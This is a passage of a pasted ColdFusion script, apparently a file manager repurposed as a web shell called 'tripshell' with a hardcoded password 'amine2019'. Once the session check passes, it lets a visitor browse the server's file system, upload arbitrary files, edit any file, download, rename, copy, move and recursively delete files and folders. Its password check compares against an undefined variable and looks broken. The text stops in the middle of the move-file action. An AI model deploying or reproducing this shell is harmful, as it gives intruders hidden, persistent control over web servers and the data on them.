· 6 years ago · Oct 24, 2019, 11:38 PM
1<html>
2<body>
3<!---
4 Created by S?bastien Denis -
5 1.0 : 23-nov-2004
6 1.1 : 03-fev-2005 - new action: synchronize
7 ============================================================================
8 The FileManager can be use as a common file manager or as a CFMODULE use inside an application.
9 ============================================================================
10 Depending of the action (fuseaction attributes), the other attributes are...
11 FUSEACTION OTHER ATTRIBUTES
12 ============================================================================
13 PASSWORD
14 If password is required to access the module.
15 Display a form to enter password.
16 PASSWORDHASH
17 Hash the password.
18 HOME
19 Display the file manager.
20 PATH (default= current path)
21 EDITEXTENSIONS (list of extensions to enable file edition)
22 GETDIR (default = current folder)
23 SEARCH
24 Perform a search.
25 Return a query GETDIR and a call to fuseaction = HOME with this query.
26 SEARCHNAME (reg exp corresponding to file/folder name)
27 SEARCHTEXT (reg exp corresponding to file content)
28 RECURSIVE (optional recursive search: 0/1 - default = 0)
29 MAXSEARCHRESULT (number of result: n - default = 1)
30 EDIT
31 Edit a file
32 EDITEXTENSIONS (list of extension - show the EDIT button)
33 (default = txt,htm,html,cfm,cfml,asp,aspx,php,jsp,js,ini,bat,log,reg,xml,dtd,xslt)
34 If "ALL", all files are editable
35 PATH
36 FILE
37 WRITE
38 Write the edited file
39 PATH
40 FILE
41 FILENEWCONTENT
42 UPLOAD PATH, NBROFUPLOAD (number of the maximum file to upload at once - default is 20)
43 DOWNLOAD PATH, FILE
44 ADDDIR PATH, DIRNEW
45 ADDFILE PATH, FILENEW
46 RENAMEFILE PATH, FILE, FILENEW
47 RENAMEDIR PATH, DIR, DIRNEW
48 COPYFILE PATH, FILE, PATHNEW (with the new file name)
49 COPYDIR PATH, DIR, PATHNEW (with the new folder name)
50 MOVEFILE PATH, FILE, PATHNEW (without the new file name)
51 MOVEDIR PATH, DIR, PATHNEW (without the new folder name)
52 DELETEFILE PATH, FILE
53 DELETEDIR PATH, DIR
54 DELETEDIRRECURSIVE PATH, DIR
55 SYNCDIR PATH, PATHNEW (path; origin, pathNew: destination), OVERWRITEALL
56
57 Other attributes:
58 ============================================================================
59 thisModule the path to this module (cfmodule)
60 default = listLast(cgi.script_name,"/\")
61 relocate 0/1 (default 1, 0 in recursive call)
62 CheckPassword default = ""
63 To compare with H to allow access to module
64 If no correspondance => fuseaction = password
65 If checkPassword = "" => No access control.
66 H The Hashed password always required if checkPassword neq "".
67 PATHALLOWED The path beyond which the module cannot go.
68 default = "" meaning no limits.
69 STYLE 0/1 (default = 1) include basic style.
70 --->
71
72<cftry>
73
74<CFAPPLICATION NAME="tripshell" SESSIONMANAGEMENT="Yes" SESSIONTIMEOUT="#CreateTimeSpan(0, 0, 20, 0)#">
75<cfset member_password = "amine2019">
76<cfif (IsDefined("Session.tripshell") AND Session.tripshell EQ "ok") OR (IsDefined("form.code") AND hash(form.code, "MD5") EQ #amine2019#)>
77 <b>Ok all good</b>
78 <cfset session.tripshell='ok'>
79
80<!--- ************ Personal parameter *************** --->
81<cfset attributes.editExtensions = "ALL">
82<!--- ************ Personal parameter *************** --->
83
84<cfsetting requestTimeout = 1000>
85<!--- formurl2attributes --->
86<cfparam name="attributes" default="#structNew()#">
87<cfset structAppend(attributes,form,"no")>
88<cfset structAppend(attributes,url,"no")>
89<!--- Default parameters --->
90<cfparam name="attributes.path" default="#expandPath(".")#">
91<cfparam name="attributes.fuseaction" default="home">
92<cfparam name="attributes.recursive" default="0">
93<cfparam name="attributes.showpath" default="0">
94<cfparam name="attributes.searchtext" default="">
95<cfparam name="attributes.searchname" default="">
96<cfparam name="attributes.maxsearchresult" default="1">
97<cfparam name="attributes.checkpassword" default="">
98<cfparam name="attributes.password" default="">
99<cfparam name="attributes.nbrOfUpload" default="20">
100<cfparam name="attributes.editExtensions" default="txt,htm,html,cfm,cfml,asp,aspx,php,jsp,js,ini,bat,log,reg,xml,dtd,xslt">
101<cfparam name="attributes.relocate" default="1">
102<cfparam name="attributes.overwriteAll" default="0">
103<cfparam name="attributes.style" default="1">
104<cfparam name="attributes.pathAllowed" default="">
105<cfparam name="attributes.thisModule" default="#listLast(cgi.script_name,"/\")#">
106<cfparam name="attributes.h" default="">
107<!--- Find delimiter and set path --->
108<cfif find("/",cgi.CF_TEMPLATE_PATH)>
109 <cfset attributes.delimiter = "/">
110<cfelse>
111 <cfset attributes.delimiter = "\">
112</cfif>
113<cfset attributes.path = reReplace(attributes.path,"\#attributes.delimiter#{2,}",attributes.delimiter,"ALL")>
114<cfif right(attributes.path,1) eq attributes.delimiter and len(attributes.path) gt 1>
115 <cfset attributes.path = left(attributes.path,len(attributes.path)-1)>
116</cfif>
117<!--- UDF --->
118<cffunction name="loc">
119 <cfargument name="qs">
120 <cfargument name="relocate">
121 <cfif relocate>
122 <cflocation url="?#qs#&path=#attributes.path#&h=#attributes.H#">
123 </cfif>
124</cffunction>
125<!--- Password check --->
126<cfif attributes.fuseaction neq "passwordHash" and attributes.checkPassword neq "">
127 <cfif isDefined("attributes.H")>
128 <cfif hash(attributes.checkpassword) neq attributes.H>
129 <cfset attributes.fuseaction = "password">
130 </cfif>
131 <cfelse>
132 <cfset attributes.fuseaction = "password">
133 </cfif>
134</cfif>
135<!--- Path check --->
136<cfif attributes.pathAllowed neq "">
137 <cfif not findNoCase(attributes.pathAllowed,attributes.path)>
138 <cfset attributes.path = attributes.pathAllowed>
139 <cfset attributes.msg = "Error: cannot go beyond ""#attributes.pathAllowed#""">
140 </cfif>
141</cfif>
142<!--- CSS Style --->
143<cfif attributes.style and attributes.relocate>
144 <style>
145 body,table,input{font:11px;font-family:verdana}
146 button, .button{font:11px;font-family:verdana;width:50;text-align:center;border:1px solid black;background-color:#EEEEEE;cursor:hand;padding:1 0 1 0;}
147 </style>
148</cfif>
149<!--- Fusebox --->
150<cfswitch expression="#attributes.fuseaction#">
151
152 <cfcase value="password">
153 <cfoutput>
154 <form action="?" method="post">
155 <input type="hidden" name="fuseaction" value="passwordHash">
156 Password: <input type="password" name="password"> <input type="submit" name="submit" value="Submit" class="button">
157 </form>
158 </cfoutput>
159 </cfcase>
160
161 <cfcase value="passwordHash">
162 <cfoutput>
163 <script>window.location.href="?h=#hash(attributes.password)#";</script>
164 </cfoutput>
165 </cfcase>
166
167 <cfcase value="home">
168 <cfoutput>
169 <title>FileManager: #attributes.path#</title>
170 <script>
171 function addDir(){
172 var sDirNew = prompt("Create folder in #JSStringFormat(attributes.path)#.\nFolder name:","");
173 if (sDirNew != null && sDirNew != ""){
174 window.location.href="?fuseaction=addDir&path=#JSStringFormat(attributes.path)#&dirNew=" + sDirNew + "&h=#attributes.h#";
175 }
176 }
177 function addFile(){
178 var sFileNew = prompt("Create file in #JSStringFormat(attributes.path)#.\nFile name:","");
179 if (sFileNew != null && sFileNew != ""){
180 window.location.href="?fuseaction=addFile&path=#JSStringFormat(attributes.path)#&fileNew=" + sFileNew + "&h=#attributes.h#";
181 }
182 }
183 function renameFile(sFile){
184 var sFileNew = prompt("New file name",sFile + "_copy");
185 if (sFileNew != null && sFileNew != "" && sFileNew != sFile){
186 window.location.href="?fuseaction=renamefile&path=#JSStringFormat(attributes.path)#&file=" + sFile + "&fileNew=" + sFileNew + "&h=#attributes.h#";
187 }
188 }
189 function renameDir(sDir){
190 var sDirNew = prompt("New folder name",sDir + "_copy");
191 if (sDirNew != null && sDirNew != "" && sDirNew != sDir){
192 window.location.href="?fuseaction=renameDir&path=#JSStringFormat(attributes.path)#&dir=" + sDir + "&dirNew=" + sDirNew + "&h=#attributes.h#";
193 }
194 }
195 function copyFile(sFile){
196 sDefault = "#JSStringFormat(attributes.path)##JSStringFormat(attributes.delimiter)#" + sFile;
197 var sPathNew = prompt("Destination for \"" + sFile + "\".",sDefault);
198 if (sPathNew != null && sPathNew != "" && sPathNew != sDefault){
199 window.location.href="?fuseaction=copyFile&path=#JSStringFormat(attributes.path)#&pathNew=" + sPathNew + "&file=" + sFile + "&h=#attributes.h#";
200 }
201 }
202 function copyDir(sDir){
203 sDefault = "#JSStringFormat(attributes.path)##JSStringFormat(attributes.delimiter)#" + sDir;
204 var sPathNew = prompt("Destination for \"" + sDir + "\".\nProvide a UNEXISTANT path!",sDefault + "_copy");
205 if (sPathNew != null && sPathNew != "" && sPathNew != sDefault){
206 window.location.href="?fuseaction=copydir&path=#JSStringFormat(attributes.path)#&dir=" + sDir + "&pathNew=" + sPathNew + "&h=#attributes.h#";
207 }
208 }
209 function moveFile(sFile){
210 sDefault = "#JSStringFormat(attributes.path)#";
211 var sPathNew = prompt("Move \"" + sFile + "\" to:",sDefault);
212 if (sPathNew != null && sPathNew != "" && sPathNew != sDefault){
213 window.location.href="?fuseaction=moveFile&path=#JSStringFormat(attributes.path)#&pathNew=" + sPathNew + "&file=" + sFile + "&h=#attributes.h#";
214 }
215 }
216 function moveDir(sDir){
217 sDefault = "#JSStringFormat(attributes.path)#";
218 var sPathNew = prompt("Move \"" + sDir + "\" to:",sDefault);
219 if (sPathNew != null && sPathNew != "" && sPathNew != sDefault){
220 window.location.href="?fuseaction=moveDir&path=#JSStringFormat(attributes.path)#&pathNew=" + sPathNew + "&dir=" + sDir + "&h=#attributes.h#";
221 }
222 }
223 function syncDir(sDir){
224 sDefault = "#JSStringFormat(attributes.path)#" + "\\" + sDir;
225 var sPathNew = prompt("Synchronize \"" + sDefault + "\" to:",sDefault);
226 var bOverwriteAll = 0;
227 if (sPathNew != null && sPathNew != "" && sPathNew != sDefault){
228 if (confirm("Do yout want to overwrite all files?\nOK: copy all files.\nCancel: copy new and modified files.")) bOverwriteAll = 1;
229 window.location.href="?fuseaction=syncDir&path=" + sDefault + "&pathNew=" + sPathNew + "&overwriteall=" + bOverwriteAll + "&h=#attributes.h#";
230 }
231 }
232 function deleteFile(sFile){
233 if (confirm("Delete \"" + sFile + "\"?"))window.location.href="?fuseaction=deletefile&path=#JSStringFormat(attributes.path)#&file=" + sFile + "&h=#attributes.h#";
234 }
235 function deleteDir(sDir){
236 if (confirm("Delete \"" + sDir + "\"?"))window.location.href="?fuseaction=deletedir&path=#JSStringFormat(attributes.path)#&dir=" + sDir + "&h=#attributes.h#";
237 }
238 function showNextUpload(n){
239 document.getElementById("fileUpload" + n).style.display='';
240 document.getElementById("submitUpload").style.display='';
241 }
242 </script>
243 <cfif isDefined("attributes.msg")>
244 <h4 style="color:#iif(findNoCase("error",attributes.msg),"'red'","'green'")#">#attributes.msg#</h4>
245 </cfif>
246 <cfif len(attributes.path) gt 1>
247 <cfset attributes.parentpath = listDeleteAt(attributes.path,listLen(attributes.path,attributes.delimiter),attributes.delimiter)>
248 <cfelse>
249 <cfset attributes.parentpath = "">
250 </cfif>
251 <table style="border:1 solid black">
252 <form action="?" method="post">
253 <input type="hidden" name="h" value="#attributes.h#">
254 <tr>
255 <td width="100">Parent:</td>
256 <td><a href="?path=#attributes.parentpath#&h=#attributes.h#">#attributes.parentpath#</a></td>
257 </tr>
258 <tr>
259 <td valign="top">Path:</td>
260 <td>
261 <input type="text" name="path" value="#attributes.path#" style="font-weight:bold" size="100">
262 <input type="submit" value="Submit" class="button"><br>
263 <button style="width:150" onclick="addDir()">Create a folder</button>
264 <button style="width:150" onclick="addFile()">Create a file</button>
265 </td>
266 </tr>
267 </form>
268 <form action="?" method="post">
269 <input type="hidden" name="h" value="#attributes.h#">
270 <input type="hidden" name="fuseaction" value="search">
271 <input type="hidden" name="path" value="#attributes.path#">
272 <tr>
273 <td>Search:</td>
274 <td><span style="width:150">File/folder name (RE):</span><input type="text" name="searchname" size="70" value="#attributes.searchname#"></td>
275 </tr>
276 <tr>
277 <td> </td>
278 <td><span style="width:150">Containg text (RE):</span><input type="text" name="searchtext" size="70" value="#attributes.searchtext#"></td>
279 </tr>
280 <tr>
281 <td> </td>
282 <td>
283 Recursive <input type="checkbox" name="recursive" value="1" #iif(attributes.recursive,"'checked'","''")#>
284 Max. result <select name="maxsearchresult">
285 <option value="1" #iif(attributes.maxsearchresult eq 1,"'SELECTED'","''")#>1</option>
286 <option value="5" #iif(attributes.maxsearchresult eq 5,"'SELECTED'","''")#>5</option>
287 <option value="10" #iif(attributes.maxsearchresult eq 10,"'SELECTED'","''")#>10</option>
288 <option value="50" #iif(attributes.maxsearchresult eq 50,"'SELECTED'","''")#>50</option>
289 <option value="100" #iif(attributes.maxsearchresult eq 100,"'SELECTED'","''")#>100</option>
290 </select>
291 <input type="submit" value="Submit" class="button"></td>
292 </tr>
293 </form>
294 <form action="?" method="post" enctype="multipart/form-data">
295 <input type="hidden" name="h" value="#attributes.h#">
296 <input type="hidden" name="fuseaction" value="upload">
297 <input type="hidden" name="path" value="#attributes.path#">
298 <tr>
299 <td valign="top">Upload:</td>
300 <td>
301 <span style="width:20">1.</span><input type="File" name="file1" size="70" onchange="showNextUpload(2)">
302 <input type="checkbox" name="overwrite1">Overwrite
303 <cfloop index="i" from="2" to="#attributes.nbrOfUpload#">
304 <div id="fileUpload#i#" style="display:'none'">
305 <span style="width:20">#i#.</span><input type="File" name="file#i#" size="70" onchange="showNextUpload(#i+1#)">
306 <input type="checkbox" name="overwrite#i#">Overwrite
307 </div>
308 </cfloop>
309 <input type="submit" value="Upload" name="submitUpload" class="button" style="display:'none'">
310 </td>
311 </tr>
312 </form>
313 </table>
314 </cfoutput>
315 <cfflush>
316 <cfif not isDefined("attributes.getDir")>
317 <cfdirectory action="LIST" directory="#attributes.path#" name="attributes.getDir">
318 </cfif>
319 <br>
320 <table style="border:1 solid black">
321 <tr bgcolor="#c0c0c0">
322 <th> </th>
323 <cfset colspan = 1>
324 <cfif attributes.showpath>
325 <cfset colspan = 2>
326 <th>Path</th>
327 </cfif>
328 <th>Name</th>
329 <th>Actions</th>
330 <th>Size</th>
331 <th>Attr.</th>
332 <th>Modif. date</th>
333 </tr>
334 <cfoutput>
335 <tr>
336 <td colspan="#colspan#"><hr size="1"></td>
337 <td align="center"><b>F o l d e r s</b></td>
338 <td colspan="10"><hr size="1"></td>
339 </tr>
340 </cfoutput>
341 <cfset i = 0>
342 <cfoutput query="attributes.getDir">
343 <cfif type eq "dir" and name neq "." and name neq "..">
344 <cfset i = i + 1>
345 <tr bgcolor="#iif(evaluate(i Mod 2),"'F2F2F2'","'EFEFE2'")#">
346 <td>#i#.</td>
347 <cfif attributes.showpath>
348 <td><a href="?path=#path#&h=#attributes.h#" style="text-decoration:none">#path#</a></td>
349 <td><a href="?path=#path##attributes.delimiter##name#&h=#attributes.h#" style="text-decoration:none"><b>#name#</b></a></td>
350 <td><a onclick="window.location.href='?path=#JSStringFormat("#path##attributes.delimiter##name#&h=#attributes.h#")#'" class="button">Open</a></td>
351 <cfelse>
352 <td><a href="?path=#attributes.path##attributes.delimiter##name#&h=#attributes.h#" style="text-decoration:none"><b>#name#</b></a></td>
353 <td>
354 <a onclick="window.location.href='?path=#JSStringFormat(attributes.path & attributes.delimiter)##name#&h=#attributes.h#'" class="button">Open</a>
355 <a onclick="renameDir('#name#')" class="button">Rename</a>
356 <a onclick="copyDir('#name#')" class="button">Copy</a>
357 <a onclick="moveDir('#name#')" class="button">Move</a>
358 <a onclick="deleteDir('#name#')" class="button" style="color:red">Delete</a>
359 <a onclick="syncDir('#name#')" class="button">Sync.</a>
360 </td>
361 </cfif>
362 <td> </td>
363 <td>#ATTRIBUTES# </td>
364 <td>#DATELASTMODIFIED#</td>
365 </tr>
366 </cfif>
367 </cfoutput>
368 <cfoutput>
369 <tr>
370 <td colspan="#colspan#"><hr size="1"></td>
371 <td align="center"><b>F i l e s</b></td>
372 <td colspan="10"><hr size="1"></td>
373 </tr>
374 </cfoutput>
375 <cfoutput query="attributes.getDir">
376 <cfif type eq "file">
377 <cfset i = i + 1>
378 <tr bgcolor="#iif(evaluate(i Mod 2),"'F2F2F2'","'EFEFE2'")#">
379 <td>#i#.</td>
380 <cfif attributes.showpath>
381 <td><a href="?path=#path#&h=#attributes.h#" style="text-decoration:none">#path#</a></td>
382 <td><a href="?fuseaction=download&path=#path#&file=#name#&h=#attributes.h#" style="text-decoration:none"><b>#name#</b></a></td>
383 <cfif attributes.editExtensions eq "ALL" or listFindNoCase(attributes.editExtensions,listLast(name,"."))>
384 <td>
385 <a onclick="window.location.href='?fuseaction=edit&path=#JSStringFormat(path)#&h=#attributes.h#&file=#name#'" class="button">Edit</a>
386 <a onclick="window.location.href='?fuseaction=download&path=#JSStringFormat(path)#&h=#attributes.h#&file=#name#'" class="button">Down.</a>
387 </td>
388 </cfif>
389 <cfelse>
390 <td><a href="?fuseaction=download&path=#attributes.path#&file=#name#&h=#attributes.h#" style="text-decoration:none">#name#</a></td>
391 <td>
392 <a onclick="window.location.href='?fuseaction=download&path=#JSStringFormat(attributes.path)#&h=#attributes.h#&file=#name#'" class="button">Down.</a>
393 <a onclick="renameFile('#name#')" class="button">Rename</a>
394 <a onclick="copyFile('#name#')" class="button">Copy</a>
395 <a onclick="moveFile('#name#')" class="button">Move</a>
396 <a onclick="deleteFile('#name#')" class="button" style="color:red">Delete</a>
397 <cfif attributes.editExtensions eq "ALL" or listFindNoCase(attributes.editExtensions,listLast(name,"."))>
398 <a onclick="window.location.href='?fuseaction=edit&path=#JSStringFormat(attributes.path)#&h=#attributes.h#&file=#name#'" class="button">Edit</a>
399 </cfif>
400 <cfif Find("R",attributes)>
401 <a onclick="window.location.href='?fuseaction=removeR&path=#JSStringFormat(attributes.path)#&file=#name#&fileNew=#name#&h=#attributes.h#'" class="button">Rem RO</a>
402 </cfif>
403 </td>
404 </cfif>
405 <td align="right">#numberFormat(size)# B</td>
406 <td>#ATTRIBUTES# </td>
407 <td>#DATELASTMODIFIED#</td>
408 </tr>
409 </cfif>
410 </cfoutput>
411 </table>
412 </cfcase>
413
414 <cfcase value="edit">
415 <cfoutput><title>FileManager: #attributes.file#</title></cfoutput>
416 <cffile action="READ" file="#attributes.path##attributes.delimiter##attributes.file#" variable="filecontent">
417 <cfdirectory action="LIST" directory="#attributes.path##attributes.delimiter#" filter="#attributes.file#" name="getFile">
418 <cfif findNoCase("R",getFile.attributes[1])>
419 <cfoutput>
420 <div>
421 <span style="color:red;font-weight:bold">This file is READ-ONLY</span>
422 <button onclick="window.location.href='?fuseaction=removeR&path=#JSStringFormat(attributes.path)#&file=#attributes.file#&fileNew=#attributes.file#&after=edit&h=#attributes.h#'" style="width:150">Remove Read-Only</button>
423 <button onclick="history.back()">Back</button>
424 </div>
425 <pre style="width:100%;height:95%;border:2 solid black">#htmlEditFormat(filecontent)#</pre>
426 </cfoutput>
427 <cfelse>
428 <cfoutput>
429 <form action="?" method="post">
430 <input type="submit" value="Save Back" style="width:100" class="button">
431 <input type="submit" value="Save" onclick="document.all.fuseactionNext.value='edit'" class="button">
432 <button onclick="window.location.href='?path=#JSStringFormat(attributes.path)#&h=#attributes.h#&file=#attributes.file#'">Cancel</button>
433 Size: #numberFormat(getFile.size)#B | Date: #getFile.dateLastModified#
434 <input type="hidden" name="h" value="#attributes.h#">
435 <input type="hidden" name="fuseaction" value="write">
436 <input type="hidden" name="fuseactionNext" value="home">
437 <input type="hidden" name="path" value="#attributes.path#">
438 <input type="hidden" name="file" value="#attributes.file#">
439 <textarea style="width:100%;height:95%" name="fileNewContent" style="font-size:11px">#htmlEditFormat(filecontent)#</textarea>
440 <div>
441 <input type="submit" value="Save Back" style="width:100" class="button">
442 <input type="submit" value="Save" onclick="document.all.fuseactionNext.value='edit'" class="button">
443 <button onclick="window.location.href='?path=#JSStringFormat(attributes.path)#&h=#attributes.h#&file=#attributes.file#'">Cancel</button>
444 </div>
445 </form>
446 </cfoutput>
447 </cfif>
448 </cfcase>
449
450 <cfcase value="write">
451 <cftry>
452 <cffile action="DELETE" file="#attributes.path##attributes.delimiter##attributes.file#">
453 <cffile action="WRITE" file="#attributes.path##attributes.delimiter##attributes.file#" output="#attributes.fileNewContent#" addnewline="No">
454 <cfoutput>#loc("fuseaction=#attributes.fuseactionNext#&file=#attributes.file#", attributes.relocate)#</cfoutput>
455 <cfcatch>
456 <cfoutput>#loc("msg=Error while updating file!", attributes.relocate)#</cfoutput>
457 </cfcatch>
458 </cftry>
459 </cfcase>
460
461 <cfcase value="upload">
462 <cfset msg = "Upload Result:">
463 <cfloop index="i" from="1" to="#attributes.nbrOfUpload#">
464 <cfif form["file#i#"] neq "">
465 <cftry>
466 <cffile action="UPLOAD"
467 filefield="form.file#i#"
468 destination="#attributes.path#"
469 nameconflict="#iif(isDefined("attributes.overwrite#i#"),"'OVERWRITE'","'Error'")#">
470 <cfset msg = "#msg#\n - File #i#: OK">
471 <cfcatch>
472 <cfset msg = "#msg#\n - File #i#: ERROR">
473 </cfcatch>
474 </cftry>
475 </cfif>
476 </cfloop>
477 <cfoutput>#loc("", attributes.relocate)#</cfoutput>
478 </cfcase>
479
480 <cfcase value="download">
481 <cfheader name="Content-disposition" value="attachment; filename=#attributes.file#">
482 <cfcontent file="#attributes.path##attributes.delimiter##attributes.File#">
483 </cfcase>
484
485 <cfcase value="deleteFile">
486 <cftry>
487 <cffile action="delete" file="#attributes.path##attributes.delimiter##attributes.file#">
488 <cfoutput>#loc("msg=File deleted!", attributes.relocate)#</cfoutput>
489 <cfcatch>
490 <cfoutput>#loc("msg=Error: file not deleted!", attributes.relocate)#</cfoutput>
491 </cfcatch>
492 </cftry>
493 </cfcase>
494
495 <cfcase value="deleteDir">
496 <cftry>
497 <cfdirectory action="DELETE" directory="#attributes.path##attributes.delimiter##attributes.dir#">
498 <cfoutput>#loc("msg=Folder deleted!", attributes.relocate)#</cfoutput>
499 <cfcatch>
500 <cfoutput>#loc("fuseaction=deletedirRecursiveConfirm&dir=#attributes.dir#", attributes.relocate)#</cfoutput>
501 </cfcatch>
502 </cftry>
503 </cfcase>
504
505 <cfcase value="deleteDirRecursiveConfirm">
506 <cfoutput>
507 <script>
508 if(confirm("Folder not deleted. It may contains files or folders.\nTry recursive delete?")) window.location.href="?fuseaction=deletedirRecursive&path=#jsStringFormat(attributes.path)#&dir=#jsStringFormat(attributes.dir)#&h=#attributes.h#";
509 else window.location.href="?path=#jsStringFormat(attributes.path)#&h=#attributes.h#";
510 </script>
511 </cfoutput>
512 </cfcase>
513
514 <cfcase value="deleteDirRecursive">
515 <cfdirectory action="LIST" name="attributes.getDir" directory="#attributes.path##attributes.delimiter##attributes.dir#">
516 <cfoutput><h3>#attributes.path##attributes.delimiter##attributes.dir#</h3></cfoutput>
517 <!--- Delete files --->
518 <cfloop query="attributes.getDir">
519 <cfif type eq "file">
520 <cftry>
521 <cffile action="delete" file="#attributes.path##attributes.delimiter##attributes.dir##attributes.delimiter##name#">
522 <cfoutput>
523 <div>
524 <span style="width:100">FILE:</span>
525 #attributes.path##attributes.delimiter##attributes.dir##attributes.delimiter#<b>#name#</b>
526 </div>
527 </cfoutput>
528 <cfcatch/>
529 </cftry>
530 </cfif>
531 </cfloop>
532 <!--- Delete sub-folder --->
533 <cfloop query="attributes.getDir">
534 <cfif type eq "dir">
535 <cfmodule template="#attributes.thisModule#"
536 fuseaction="deleteDirRecursive"
537 h="#attributes.H#"
538 path="#attributes.path##attributes.delimiter##attributes.dir#"
539 dir="#name#"
540 relocate="0">
541 </cfif>
542 </cfloop>
543 <cftry>
544 <cfdirectory action="DELETE" directory="#attributes.path##attributes.delimiter##attributes.dir#">
545 <cfoutput>
546 <div>
547 <span style="width:100">FOLDER:</span>
548 #attributes.path##attributes.delimiter#<b>#attributes.dir#</b>
549 </div>
550 </cfoutput>
551 <cfcatch/>
552 </cftry>
553 <cfflush>
554 <cfif attributes.relocate>
555 <cfoutput>
556 <button name="fileManagerButton" style="width:700" onclick="window.location.href='?h=#attributes.H#&path=#jsStringFormat(attributes.path)#'">Deletion done! Back to <b>#attributes.path#</b></button>
557 </cfoutput>
558 </cfif>
559 </cfcase>
560
561 <cfcase value="addDir">
562 <cftry>
563 <cfdirectory action="CREATE" directory="#attributes.path##attributes.delimiter##attributes.dirNew#">
564 <cfoutput>#loc("msg=Folder created!", attributes.relocate)#</cfoutput>
565 <cfcatch>
566 <cfoutput>#loc("msg=Error: folder not created!", attributes.relocate)#</cfoutput>
567 </cfcatch>
568 </cftry>
569 </cfcase>
570
571 <cfcase value="addFile">
572 <cftry>
573 <cffile action="WRITE" file="#attributes.path##attributes.delimiter##attributes.fileNew#" output="">
574 <cfoutput>#loc("msg=File created!", attributes.relocate)#</cfoutput>
575 <cfcatch>
576 <cfoutput>#loc("msg=Error: file not created!", attributes.relocate)#</cfoutput>
577 </cfcatch>
578 </cftry>
579 </cfcase>
580
581 <cfcase value="copyFile">
582 <cfif fileExists("#attributes.pathNew#")>
583 <cfoutput>
584 <script>
585 alert("This file already exists!");
586 history.back();
587 </script>
588 </cfoutput>
589 <cfabort>
590 </cfif>
591 <cftry>
592 <cfset pathTry = listDeleteAt(attributes.pathNew,listLen(attributes.pathNew,"/\"),"/\")>
593 <cfdirectory action="CREATE" directory="#pathTry#">
594 <cfcatch/>
595 </cftry>
596 <cftry>
597 <cffile action="COPY" source="#attributes.path##attributes.delimiter##attributes.file#"
598 destination="#attributes.pathNew#">
599 <cfif attributes.relocate>
600 <cfoutput>#loc("msg=File copied!", attributes.relocate)#</cfoutput>
601 </cfif>
602 <cfcatch>
603 <cfif attributes.relocate>
604 <cfoutput>#loc("msg=Error: file not copied", attributes.relocate)#</cfoutput>
605 </cfif>
606 </cfcatch>
607 </cftry>
608 </cfcase>
609
610 <cfcase value="copyDir">
611 <cfif DirectoryExists("#attributes.pathNew#")>
612 <cfoutput>
613 <script>
614 alert("This folder already exists!\nPlease use synchronize function.");
615 history.back();
616 </script>
617 </cfoutput>
618 <cfabort>
619 </cfif>
620 <cfdirectory directory="#attributes.path##attributes.delimiter##attributes.dir#" name="attributes.getDir">
621 <!--- create main folder --->
622 <cftry>
623 <cfdirectory action="CREATE" directory="#attributes.pathNew#">
624 <cfoutput><h3>#attributes.pathNew#</h3></cfoutput>
625 <cfcatch/>
626 </cftry>
627 <!--- copy folder content - Recursive copy --->
628 <cfloop query="attributes.getDir">
629 <cfif type eq "file">
630 <cffile
631 action="COPY"
632 source="#attributes.path##attributes.delimiter##attributes.dir##attributes.delimiter##name#"
633 destination="#attributes.pathNew##attributes.delimiter##name#"
634 attributes="Normal">
635 <cfoutput><div>#attributes.pathNew##attributes.delimiter#<b>#name#</b></div></cfoutput>
636 <cfflush>
637 </cfif>
638 </cfloop>
639 <cfloop query="attributes.getDir">
640 <cfif type eq "dir">
641 <cfmodule
642 fuseaction="copyDir"
643 template="#attributes.thisModule#"
644 h="#attributes.H#"
645 path="#attributes.path##attributes.delimiter##attributes.dir##attributes.delimiter#"
646 dir="#name#"
647 pathNew="#attributes.pathNew##attributes.delimiter##name#"
648 relocate="0">
649 </cfif>
650 </cfloop>
651 <cfif attributes.relocate>
652 <cfoutput>
653 <button name="fileManagerButton" style="width:700" onclick="window.location.href='?h=#attributes.H#&path=#jsStringFormat(attributes.path)#'">Copy done! Back to <b>#attributes.path#</b></button>
654 </cfoutput>
655 </cfif>
656 </cfcase>
657
658 <cfcase value="renameFile">
659 <cfif fileExists("#attributes.path##attributes.delimiter##attributes.fileNew#")>
660 <cfoutput>
661 <script>
662 alert("This file already exists!");
663 history.back();
664 </script>
665 </cfoutput>
666 <cfabort>
667 </cfif>
668 <cftry>
669 <cffile action="rename" source="#attributes.path##attributes.delimiter##attributes.file#" destination="#attributes.path##attributes.delimiter##attributes.fileNew#" attributes="normal">
670 <cfoutput>#loc("msg=File updated!", attributes.relocate)#</cfoutput>
671 <cfcatch>
672 <cfoutput>#loc("msg=Error while updating file!", attributes.relocate)#</cfoutput>
673 </cfcatch>
674 </cftry>
675 </cfcase>
676
677 <cfcase value="removeR">
678 <cftry>
679 <cffile action="rename" source="#attributes.path##attributes.delimiter##attributes.file#" destination="#attributes.path##attributes.delimiter##attributes.fileNew#" attributes="normal">
680 <cfset qs = "">
681 <cfif isDefined("attributes.after") and attributes.after eq "edit">
682 <cfset qs = "fuseaction=edit&file=#attributes.file#&">
683 </cfif>
684 <cfoutput>#loc("#qs#msg=File updated!", attributes.relocate)#</cfoutput>
685 <cfcatch>
686 <cfoutput>#loc("#qs#msg=Error while updating file!", attributes.relocate)#</cfoutput>
687 </cfcatch>
688 </cftry>
689 </cfcase>
690
691 <cfcase value="renameDir">
692 <cfif DirectoryExists("#attributes.path##attributes.delimiter##attributes.dirNew#")>
693 <cfoutput>
694 <script>
695 alert("This folder already exists!");
696 history.back();
697 </script>
698 </cfoutput>
699 <cfabort>
700 </cfif>
701 <h2>Rename folder - step 1: copy files</h2>
702 <cfmodule template="#attributes.thisModule#"
703 fuseaction="copyDir"
704 h="#attributes.h#"
705 path="#attributes.path#"
706 pathOrigin="#attributes.path##attributes.delimiter##attributes.dir#"
707 pathNew="#attributes.path##attributes.delimiter##attributes.dirNew#"
708 relocate="0">
709 <h2>Rename folder - step 2: delete files</h2>
710 <cfmodule template="#attributes.thisModule#"
711 fuseaction="deleteDirRecursive"
712 h="#attributes.h#"
713 path="#attributes.path#"
714 dir="#attributes.dir#"
715 relocate="0">
716 <cfif attributes.relocate>
717 <cfoutput>
718 <button name="fileManagerButton" style="width:700" onclick="window.location.href='?path=#jsStringFormat(attributes.path)#&h=#attributes.H#'">Rename done! Back to <b>#attributes.path#</b></button>
719 </cfoutput>
720 </cfif>
721 </cfcase>
722
723 <cfcase value="moveFile">
724 <h2>Move file - step 1: copy file</h2>
725 <cfmodule template="#attributes.thisModule#"
726 fuseaction="copyFile"
727 h="#attributes.h#"
728 path="#attributes.path#"
729 file="#attributes.file#"
730 pathNew="#attributes.pathNew#"
731 relocate="0">
732 <h2>Move file - step 2: delete file</h2>
733 <cfmodule template="#attributes.thisModule#"
734 fuseaction="deleteFile"
735 h="#attributes.h#"
